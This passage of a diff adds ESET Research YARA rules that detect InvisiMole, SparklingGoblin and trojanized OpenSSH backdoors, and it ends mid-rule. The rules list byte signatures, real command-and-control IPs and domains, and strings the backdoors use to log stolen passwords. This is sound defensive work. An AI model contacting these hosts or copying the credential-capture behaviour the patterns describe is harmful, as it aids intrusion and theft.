+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "WScr%steObject(\"WScr%s.Run(\"::{20d04fe0-3a%s30309d}\\\\::{21EC%sDD-08002B3030%s\", 0);"
+        $s2 = "\\Control.js" wide
+        $s3 = "\\Control Panel.lnk" wide
+        $s4 = "FPC 3.0.4 [2019/04/13] for x86_64 - Win64"
+        $s5 = "FPC 3.0.4 [2019/04/13] for i386 - Win32"
+        $s6 = "imageapplet.dat" wide
+        $s7 = "wkssvmtx"
+
+    condition:
+        uint16(0) == 0x5A4D and (3 of them)
+}
+
+rule apt_Windows_InvisiMole_Wrapper_DLL {
+    meta:
+        description = "Detects InvisiMole wrapper DLL with embedded RC2CL and RC2FM backdoors, by export and resource names"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    condition:
+        pe.exports("GetDataLength") and
+        for any y in (0..pe.number_of_resources - 1): (
+            pe.resources[y].type == pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string == "R\x00C\x002\x00C\x00L\x00"
+        ) and
+        for any y in (0..pe.number_of_resources - 1): (
+            pe.resources[y].type == pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string == "R\x00C\x002\x00F\x00M\x00"
+        )
+}
+
+rule apt_Windows_InvisiMole_DNS_Downloader {
+
+    meta:
+        description = "InvisiMole DNS downloader"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $d = "DnsQuery_A"
+
+        $s1 = "Wireshark-is-running-{9CA78EEA-EA4D-4490-9240-FC01FCEF464B}" xor
+        $s2 = "AddIns\\" ascii wide xor
+        $s3 = "pcornomeex." xor
+        $s4 = "weriahsek.rxe" xor
+        $s5 = "dpmupaceex." xor
+        $s6 = "TCPViewClass" xor
+        $s7 = "PROCMON_WINDOW_CLASS" xor
+        $s8 = "Key%C"
+        $s9 = "AutoEx%C" xor
+        $s10 = "MSO~"
+        $s11 = "MDE~"
+        $s12 = "DNS PLUGIN, Step %d" xor
+        $s13 = "rundll32.exe \"%s\",StartUI"
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and $d and 5 of ($s*)
+}
+
+rule apt_Windows_InvisiMole_RC2CL_Backdoor {
+
+    meta:
+        description = "InvisiMole RC2CL backdoor"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "RC2CL" wide
+
+        $s2 = "hp12KsNh92Dwd" wide
+        $s3 = "ZLib package %s: files: %d, total size: %d" wide
+        $s4 = "\\Un4seen" wide
+        $s5 = {9E 01 3A AD} // encryption key
+
+        $s6 = "~mrc_" wide
+        $s7 = "~src_" wide
+        $s8 = "~wbc_" wide
+        $s9 = "zdf_" wide
+        $s10 = "~S0PM" wide
+        $s11 = "~A0FM" wide
+        $s12 = "~70Z63\\" wide
+        $s13 = "~E070C" wide
+        $s14 = "~N031E" wide
+
+        $s15 = "%szdf_%s.data" wide
+        $s16 = "%spicture.crd" wide
+        $s17 = "%s70zf_%s.cab" wide
+        $s18 = "%spreview.crd" wide
+
+        $s19 = "Value_Bck" wide
+        $s20 = "Value_WSFX_ZC" wide
+        $s21 = "MachineAccessStateData" wide
+        $s22 = "SettingsSR2" wide
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and 5 of ($s*)
+}
+
+rule apt_Windows_InvisiMole {
+
+    meta:
+        description = "InvisiMole magic values, keys and strings"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "CryptProtectData"
+        $s2 = "CryptUnprotectData"
+        $s3 = {9E 01 3A AD}
+        $s4 = "GET /getversion2a/%d%.2X%.2X/U%sN HTTP/1.1"
+        $s5 = "PULSAR_LOADER.dll"
+
+        /*
+        cmp reg, 0DED0FFF9h
+        */
+        $check_magic_old_32 = {3? F9 FF D0 DE}
+
+        /*
+        cmp reg, 0DED0FF64h
+        */
+        $check_magic_old_64 = {3? 64 FF D0 DE}
+
+        /*
+        cmp dword ptr [reg], 0CE11DA86h
+        */
+        $check_magic_new_32 = {81 3? 86 DA 11 CE}
+
+        /*
+        cmp dword ptr [reg], 0CE11DA64h
+        */
+        $check_magic_new_64 = {81 3? 64 DA 11 CE}
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and (any of ($check_magic*)) and (2 of ($s*))
+}
+
+rule apt_Windows_InvisiMole_C2 {
+
+    meta:
+        description = "InvisiMole C&C servers"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "46.165.220.228" ascii wide
+        $s2 = "80.255.3.66" ascii wide
+        $s3 = "85.17.26.174" ascii wide
+        $s4 = "185.193.38.55" ascii wide
+        $s5 = "194.187.249.157"  ascii wide
+        $s6 = "195.154.255.211"  ascii wide
+        $s7 = "153.re"  ascii wide fullword
+        $s8 = "adstat.red"  ascii wide
+        $s9 = "adtrax.net"  ascii wide
+        $s10 = "akamai.sytes.net"  ascii wide
+        $s11 = "amz-eu401.com"  ascii wide
+        $s12 = "blabla234342.sytes.net"  ascii wide
+        $s13 = "mx1.be"  ascii wide fullword
+        $s14 = "statad.de"  ascii wide
+        $s15 = "time.servehttp.com"  ascii wide
+        $s16 = "upd.re"  ascii wide fullword
+        $s17 = "update.xn--6frz82g"  ascii wide
+        $s18 = "updatecloud.sytes.net"  ascii wide
+        $s19 = "updchecking.sytes.net"  ascii wide
+        $s20 = "wlsts.net"  ascii wide
+        $s21 = "ro2.host"  ascii wide fullword
+        $s22 = "2ld.xyz"  ascii wide fullword
+        $s23 = "the-haba.com"  ascii wide
+        $s24 = "82.202.172.134"  ascii wide
+        $s25 = "update.xn--6frz82g"  ascii wide
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and $s21 and any of them
+}
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2021, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+rule SparklingGoblin_ChaCha20Loader_RichHeader
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "Rule matching ChaCha20 loaders rich header"
+        date = "2021-03-30"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "09FFE37A54BC4EBEBD8D56098E4C76232F35D821"
+        hash = "29B147B76BB0D9E09F7297487CB972E6A2905586"
+        hash = "33F2C3DE2457B758FC5824A2B253AD7C7C2E9E37"
+        hash = "45BEF297CE78521EAC6EE39E7603E18360E67C5A"
+        hash = "4CEC7CDC78D95C70555A153963064F216DAE8799"
+        hash = "4D4C1A062A0390B20732BA4D65317827F2339B80"
+        hash = "4F6949A4906B834E83FF951E135E0850FE49D5E4"
+
+    condition:
+        pe.rich_signature.length >= 104 and pe.rich_signature.length <= 112 and
+        pe.rich_signature.toolid(241, 40116) >= 5 and pe.rich_signature.toolid(241, 40116) <= 10  and
+        pe.rich_signature.toolid(147, 30729) == 11 and
+        pe.rich_signature.toolid(264, 24215) >= 15 and pe.rich_signature.toolid(264, 24215) <= 16 
+}
+
+rule SparklingGoblin_ChaCha20
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "SparklingGoblin ChaCha20 implementations"
+        date = "2021-05-20"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "2EDBEA43F5C40C867E5B6BBD93CC972525DF598B"
+        hash = "B6D245D3D49B06645C0578804064CE0C072CBE0F"
+        hash = "8BE6D5F040D0085C62B1459AFC627707B0DE89CF"
+        hash = "4668302969FE122874FB2447A80378DCB671C86B"
+        hash = "9BDECB08E16A23D271D0A3E836D9E7F83D7E2C3B"
+        hash = "9CE7650F2C08C391A35D69956E171932D116B8BD"
+        hash = "91B32E030A1F286E7D502CA17E107D4BFBD7394A"
+
+    strings:
+        // 32-bits version
+        $chunk_1 = {
+            8B 4D ??
+            56
+            8B 75 ??
+            57
+            8B 7D ??
+            8B 04 BB
+            01 04 93
+            8B 04 B3
+            33 04 93
+            C1 C0 10
+            89 04 B3
+            01 04 8B
+            8B 04 BB
+            33 04 8B
+            C1 C0 0C
+            89 04 BB
+            01 04 93
+            8B 04 B3
+            33 04 93
+            C1 C0 08
+            89 04 B3
+            01 04 8B
+            8B 04 BB
+            33 04 8B
+            C1 C0 07
+            89 04 BB
+        }
+        // 64-bits version
+        $chunk_2 = {
+            03 4D ??
+            44 03 C0
+            03 55 ??
+            33 F1
+            45 33 D8
+            C1 C6 10
+            44 33 F2
+            41 C1 C3 10
+            41 03 FB
+            41 C1 C6 10
+            45 03 E6
+            41 03 DA
+            44 33 CB
+            44 03 EE
+            41 C1 C1 10
+            8B C7
+            33 45 ??
+            45 03 F9
+            C1 C0 0C
+            44 03 C0
+            45 33 D8
+            44 89 45 ??
+            41 C1 C3 08
+            41 03 FB
+            44 8B C7
+            44 33 C0
+            41 8B C5
+            33 45 ??
+            C1 C0 0C
+            03 C8
+            41 C1 C0 07
+            33 F1
+            89 4D ??
+            C1 C6 08
+            44 03 EE
+            41 8B CD
+            33 C8
+            41 8B C4
+            33 45 ??
+            C1 C0 0C
+            03 D0
+            C1 C1 07
+            44 33 F2
+            89 55 ??
+            41 C1 C6 08
+            45 03 E6
+            41 8B D4
+            33 D0
+            41 8B C7
+            41 33 C2
+            C1 C2 07
+            C1 C0 0C
+            03 D8
+            44 33 CB
+            41 C1 C1 08
+            45 03 F9
+            45 8B D7
+            44 33 D0
+            8B 45 ??
+            03 C1
+            41 C1 C2 07
+            44 33 C8
+            89 45 ??
+            41 C1 C1 10
+            45 03 E1
+            41 8B C4
+            33 C1
+            8B 4D ??
+            C1 C0 0C
+            03 C8
+            44 33 C9
+            89 4D ??
+            89 4D ??
+            41 C1 C1 08
+            45 03 E1
+            41 8B CC
+            33 C8
+            8B 45 ??
+            C1 C1 07
+            89 4D ??
+            89 4D ??
+            03 C2
+            41 03 D8
+            89 45 ??
+            41 33 C3
+            C1 C0 10
+            44 03 F8
+            41 8B CF
+            33 CA
+            8B 55 ??
+        }
+        $chunk_3 = {
+            C7 45 ?? 65 78 70 61
+            4C 8D 45 ??
+            C7 45 ?? 6E 64 20 33
+            4D 8B F9
+            C7 45 ?? 32 2D 62 79
+            4C 2B C1
+            C7 45 ?? 74 65 20 6B
+        }
+        $chunk_4 = {
+            0F B6 02
+            0F B6 4A ??
+            C1 E1 08
+            0B C8
+            0F B6 42 ??
+            C1 E1 08
+            0B C8
+            0F B6 42 ??
+            C1 E1 08
+            0B C8
+            41 89 0C 10
+            48 8D 52 ??
+            49 83 E9 01
+        }
+        // 64-bits version
+        $chunk_5 = {
+            03 4D ??
+            44 03 C0
+            03 55 ??
+            33 F1
+            41 33 F8
+            C1 C6 10
+            44 33 F2
+            C1 C7 10
+            44 03 DF
+            41 C1 C6 10
+            45 03 E6
+            44 03 CB
+            45 33 D1
+            44 03 EE
+            41 C1 C2 10
+            41 8B C3
+            33 45 ??
+            45 03 FA
+            C1 C0 0C
+            44 03 C0
+            41 33 F8
+            44 89 45 ??
+            C1 C7 08
+            44 03 DF
+            45 8B C3
+            44 33 C0
+            41 8B C5
+            33 45 ??
+            C1 C0 0C
+            03 C8
+            41 C1 C0 07
+            33 F1
+            89 4D ??
+            C1 C6 08
+            44 03 EE
+            41 8B CD
+            33 C8
+            41 8B C4
+            33 45 ??
+            C1 C0 0C
+            03 D0
+            C1 C1 07
+            44 33 F2
+            89 55 ??
+            41 C1 C6 08
+            45 03 E6
+            41 8B D4
+            33 D0
+            41 8B C7
+            33 C3
+            C1 C2 07
+            C1 C0 0C
+            44 03 C8
+            45 33 D1
+            41 C1 C2 08
+            45 03 FA
+            41 8B DF
+            33 D8
+            8B 45 ??
+            03 C1
+            C1 C3 07
+            44 33 D0
+            89 45 ??
+            41 C1 C2 10
+            45 03 E2
+            41 8B C4
+            33 C1
+            8B 4D ??
+            C1 C0 0C
+            03 C8
+            44 33 D1
+            89 4D ??
+            89 4D ??
+            41 C1 C2 08
+            45 03 E2
+            41 8B CC
+            33 C8
+            8B 45 ??
+            C1 C1 07
+            89 4D ??
+            89 4D ??
+            03 C2
+            45 03 C8
+            89 45 ??
+            33 C7
+            C1 C0 10
+            44 03 F8
+            41 8B CF
+            33 CA
+            8B 55 ??
+            C1 C1 0C
+            03 D1
+            8B FA
+            89 55 ??
+            33 F8
+            89 55 ??
+            8B 55 ??
+            03 D3
+            C1 C7 08
+            44 03 FF
+            41 8B C7
+            33 C1
+            C1 C0 07
+            89 45 ??
+            89 45 ??
+            8B C2
+            33 C6
+            C1 C0 10
+            44 03 D8
+            41 33 DB
+            C1 C3 0C
+            03 D3
+            8B F2
+            89 55 ??
+            33 F0
+            41 8B C1
+            41 33 C6
+            C1 C6 08
+            C1 C0 10
+            44 03 DE
+            44 03 E8
+            41 33 DB
+            41 8B CD
+            C1 C3 07
+            41 33 C8
+            44 8B 45 ??
+            C1 C1 0C
+            44 03 C9
+            45 8B F1
+            44 33 F0
+            41 C1 C6 08
+            45 03 EE
+            41 8B C5
+            33 C1
+            8B 4D ??
+            C1 C0 07
+        }
+
+    condition:
+        any of them and filesize < 450KB
+
+}
+
+rule SparklingGoblin_EtwEventWrite
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "SparklingGoblin EtwEventWrite patching"
+        date = "2021-05-20"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "2EDBEA43F5C40C867E5B6BBD93CC972525DF598B"
+        hash = "B6D245D3D49B06645C0578804064CE0C072CBE0F"
+        hash = "8BE6D5F040D0085C62B1459AFC627707B0DE89CF"
+        hash = "4668302969FE122874FB2447A80378DCB671C86B"
+        hash = "9BDECB08E16A23D271D0A3E836D9E7F83D7E2C3B"
+        hash = "9CE7650F2C08C391A35D69956E171932D116B8BD"
+
+    strings:
+        // 64-bits version
+        $chunk_1 = {
+            48 8D 0D ?? ?? ?? ??
+            C7 44 24 ?? 48 31 C0 C3
+            FF 15 ?? ?? ?? ??
+            48 8B C8
+            48 8D 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ??
+            83 64 24 ?? 00
+            4C 8D 4C 24 ??
+            BF 04 00 00 00
+            48 8B C8
+            8B D7
+            48 8B D8
+            44 8D 47 ??
+            FF 15 ?? ?? ?? ??
+            44 8B C7
+            48 8D 54 24 ??
+            48 8B CB
+            E8 ?? ?? ?? ??
+            44 8B 44 24 ??
+            4C 8D 4C 24 ??
+            8B D7
+            48 8B CB
+            FF 15 ?? ?? ?? ??
+            48 8B 05 ?? ?? ?? ??
+        }
+        // 32-bits version
+        $chunk_2 = {
+            55
+            8B EC
+            51
+            51
+            57
+            68 08 1A 41 00
+            66 C7 45 ?? C2 14
+            C6 45 ?? 00
+            FF 15 ?? ?? ?? ??
+            68 10 1A 41 00
+            50
+            FF 15 ?? ?? ?? ??
+            83 65 ?? 00
+            8B F8
+            8D 45 ??
+            50
+            6A 40
+            6A 03
+            57
+            FF 15 ?? ?? ?? ??
+            6A 03
+            8D 45 ??
+            50
+            57
+            E8 ?? ?? ?? ??
+            83 C4 0C
+            8D 45 ??
+            50
+            FF 75 ??
+            6A 03
+            57
+            FF 15 ?? ?? ?? ??
+        }
+        // 64-bits version
+        $chunk_3 = {
+            48 8D 0D ?? ?? ?? ??
+            C7 44 24 ?? 48 31 C0 C3
+            FF 15 ?? ?? ?? ??
+            48 8B C8
+            48 8D 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ??
+        }
+
+    condition:
+        any of them
+}
+
+rule SparklingGoblin_Mutex
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "SparklingGoblin ChaCha20 loaders mutexes"
+        date = "2021-05-20"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "2EDBEA43F5C40C867E5B6BBD93CC972525DF598B"
+        hash = "B6D245D3D49B06645C0578804064CE0C072CBE0F"
+        hash = "8BE6D5F040D0085C62B1459AFC627707B0DE89CF"
+        hash = "4668302969FE122874FB2447A80378DCB671C86B"
+        hash = "9BDECB08E16A23D271D0A3E836D9E7F83D7E2C3B"
+        hash = "9CE7650F2C08C391A35D69956E171932D116B8BD"
+
+    strings:
+        $mutex_1 = "kREwdFrOlvASgP4zWZyV89m6T2K0bIno"
+        $mutex_2 = "v5EPQFOImpTLaGZes3Nl1JSKHku8AyCw"
+
+    condition:
+        any of them
+}
+
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2018, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+private rule ssh_client : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH client (ssh)"
+        author = "Marc-Etienne M.Leveille"
+        email  = "leveille@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: ssh ["
+        $old_version = "-L listen-port:host:port"
+
+    condition:
+        $usage or $old_version
+}
+
+private rule ssh_daemon : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH daemon (sshd)"
+        author = "Marc-Etienne M.Leveille"
+        email  = "leveille@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: sshd ["
+        $old_version = "Listen on the specified port (default: 22)"
+
+    condition:
+        $usage or $old_version
+}
+
+private rule ssh_add : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH add (ssh-add)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: %s [options] [file ...]\n"
+        $log = "Could not open a connection to your authentication agent.\n"
+
+    condition:
+        $usage and $log
+}
+
+private rule ssh_agent : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH agent (ssh-agent)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: %s [options] [command [arg ...]]"
+
+    condition:
+        $usage
+}
+
+private rule ssh_askpass : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH daemon (sshd)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $pass = "Enter your OpenSSH passphrase:"
+        $log = "Could not grab %s. A malicious client may be eavesdropping on you"
+
+    condition:
+        $pass and $log
+}
+
+private rule ssh_keygen : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH keygen (ssh-keygen)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $pass = "Enter new passphrase (empty for no passphrase):"
+        $log = "revoking certificates by key ID requires specification of a CA key"
+
+    condition:
+        $pass and $log
+}
+
+private rule ssh_keyscan : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH keyscan (ssh-keyscan)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: %s [-46Hv] [-f file] [-p port] [-T timeout] [-t type]"
+
+    condition:
+        $usage
+}
+
+private rule ssh_binary : sshdoor {
+    meta:
+        description = "Signature to match any clean (or not) SSH binary"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+
+    condition:
+        ssh_client or ssh_daemon or ssh_add or ssh_askpass or ssh_keygen or ssh_keyscan
+}
+
+private rule stack_string {
+    meta:
+        description = "Rule to detect use of string-stacking"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        // single byte offset from base pointer
+        $bp = /(\xC6\x45.{2}){25}/
+        // dword ss with single byte offset from base pointer
+        $bp_dw = /(\xC7\x45.{5}){20}/
+        // 4-bytes offset from base pointer
+        $bp_off = /(\xC6\x85.{5}){25}/
+        // single byte offset from stack pointer
+        $sp = /(\xC6\x44\x24.{2}){25}/
+        // 4-bytes offset from stack pointer
+        $sp_off = /(\xC6\x84\x24.{5}){25}/
+
+    condition:
+        any of them
+}
+
+rule abafar {
+    meta:
+        description = "Rule to detect Abafar family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log_c =  "%s:%s@%s"
+        $log_d =  "%s:%s from %s"
+
+    condition:
+        ssh_binary and any of them
+}
+
+rule akiva {
+    meta:
+        description = "Rule to detect Akiva family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = /(To|From):\s(%s\s\-\s)?%s:%s\n/
+
+    condition:
+        ssh_binary and $log
+}
+
+rule alderaan {
+    meta:
+        description = "Rule to detect Alderaan family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = /login\s(in|at):\s(%s\s)?%s:%s\n/
+
+    condition:
+        ssh_binary and $log
+}
+
+rule ando {
+    meta:
+        description = "Rule to detect Ando family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "%s:%s\n"
+        $s2 = "HISTFILE"
+        $i = "fopen64"
+        $m1 = "cat "
+        $m2 = "mail -s"
+
+    condition:
+        ssh_binary and all of ($s*) and ($i or all of ($m*))
+}
+
+rule anoat {
+    meta:
+        description = "Rule to detect Anoat family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "%s at: %s | user: %s, pass: %s\n"
+
+    condition:
+        ssh_binary and $log
+}
+
+rule atollon {
+    meta:
+        description = "Rule to detect Atollon family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $f1 = "PEM_read_RSA_PUBKEY"
+        $f2 = "RAND_add"
+        $log = "%s:%s"
+        $rand = "/dev/urandom"
+
+    condition:
+        ssh_binary and stack_string and all of them
+}
+
+rule batuu {
+    meta:
+        description = "Rule to detect Batuu family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $args = "ssh: ~(av[%d]: %s\n)"
+        $log = "readpass: %s\n"
+
+    condition:
+        ssh_binary and any of them
+}
+
+rule bespin {
+    meta:
+        description = "Rule to detect Bespin family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log1 = "%Y-%m-%d %H:%M:%S"
+        $log2 = "%s %s%s"
+        $log3 = "[%s]"
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule bonadan {
+    meta:
+        description = "Rule to detect Bonadan family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
